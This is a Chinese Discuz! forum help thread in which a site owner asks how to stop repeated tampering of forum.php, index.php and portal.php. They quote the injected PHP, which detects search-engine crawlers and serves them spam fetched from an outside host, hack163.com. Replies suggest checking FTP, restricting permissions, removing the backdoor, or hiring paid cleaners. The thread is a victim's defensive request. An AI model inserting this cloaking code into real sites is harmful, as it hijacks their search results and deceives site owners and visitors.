Discuz!应用商城(DisMall)Discuz!应用商城(DisMall)

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 2617|回复: 16

[求助] 网站文件被篡改

[复制链接]

17

主题

98

帖子

111

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
6 个
发表于 2020-9-25 08:16:58 | 显示全部楼层 |阅读模式
网站forum.phhp\index.php\portal.php三个文件总被篡改,删除了很快就又被改了。在文件最开始加这样一段内容:
<?phpheader('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}


?>
请问怎么处理?site域名后,出来的很多乱七八糟的内容,但点击后跳转的还是我的网站。外行头疼中。

学习帮-https://www.9axl.com
回复

使用道具 举报

2

主题

21

帖子

27

积分

Newbie

Rank: 1

贡献
0 点
金币
4 个
发表于 2020-9-25 10:15:28 | 显示全部楼层
FTP泄漏还是什么?我一般用完FTP都关闭账号。
回复 支持 反对

使用道具 举报

17

主题

98

帖子

111

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
6 个
 楼主| 发表于 2020-9-25 13:06:16 | 显示全部楼层
删除了过一会就又被篡改了。
回复 支持 反对

使用道具 举报

0

主题

5

帖子

5

积分

Newbie

Rank: 1

贡献
0 点
金币
0 个
QQ
发表于 2020-9-25 13:08:34 | 显示全部楼层
删除后,关闭文件夹权限。
回复 支持 反对

使用道具 举报

17

主题

98

帖子

111

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
6 个
 楼主| 发表于 2020-9-25 13:16:30 | 显示全部楼层
ditd2 发表于 2020-9-25 13:08
删除后,关闭文件夹权限。

谢谢指点。
学习帮-https://www.9axl.com
回复 支持 反对

使用道具 举报

0

主题

51

帖子

80

积分

开发者

Rank: 6Rank: 6Rank: 6

贡献
0 点
金币
5 个
QQ
发表于 2020-9-25 15:44:30 | 显示全部楼层

可以协助清楚木马276440802
建站,运维,维护,二开
Q:276440802
应用中心https://addon.dismall.com/developer-12008.html
回复 支持 反对

使用道具 举报

18

主题

930

帖子

1208

积分

开发者

Rank: 6Rank: 6Rank: 6

贡献
7 点
金币
210 个
QQ
发表于 2020-9-25 16:42:23 | 显示全部楼层
9axl 发表于 2020-9-25 13:06
删除了过一会就又被篡改了。

一般是 被挂马了 尽快清理木马
无限星辰工作室
服务Discuz!建站|DiscuzQ配置|二开|小程序|APP|搬家|运维|挂马清理|防护|Win/Linux网站环境搭建|优化|安全运维|
QQ842062626
回复 支持 反对

使用道具 举报

4

主题

487

帖子

687

积分

开发者

Rank: 6Rank: 6Rank: 6

贡献
0 点
金币
153 个
QQ
发表于 2020-9-25 18:54:01 | 显示全部楼层
后门都没去掉, 删掉相关代码是没用的
回复 支持 反对

使用道具 举报

15

主题

42

帖子

51

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
6 个
发表于 2020-9-29 13:33:13 | 显示全部楼层
我的前几天也是种了 类似 木马  恶心死我了
回复 支持 反对

使用道具 举报

17

主题

98

帖子

111

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
6 个
 楼主| 发表于 2020-9-29 13:37:51 | 显示全部楼层
470342341 发表于 2020-9-29 13:33
我的前几天也是种了 类似 木马  恶心死我了

请教现在怎么处理的?
学习帮-https://www.9axl.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz!应用中心 ( 皖ICP备16010102号 )|网站地图star

GMT+8, 2022-5-24 17:04 , Processed in 0.070329 second(s), 9 queries , Yac On.

Powered by Discuz!

Copyright © Tencent Cloud.

快速回复 返回顶部 返回列表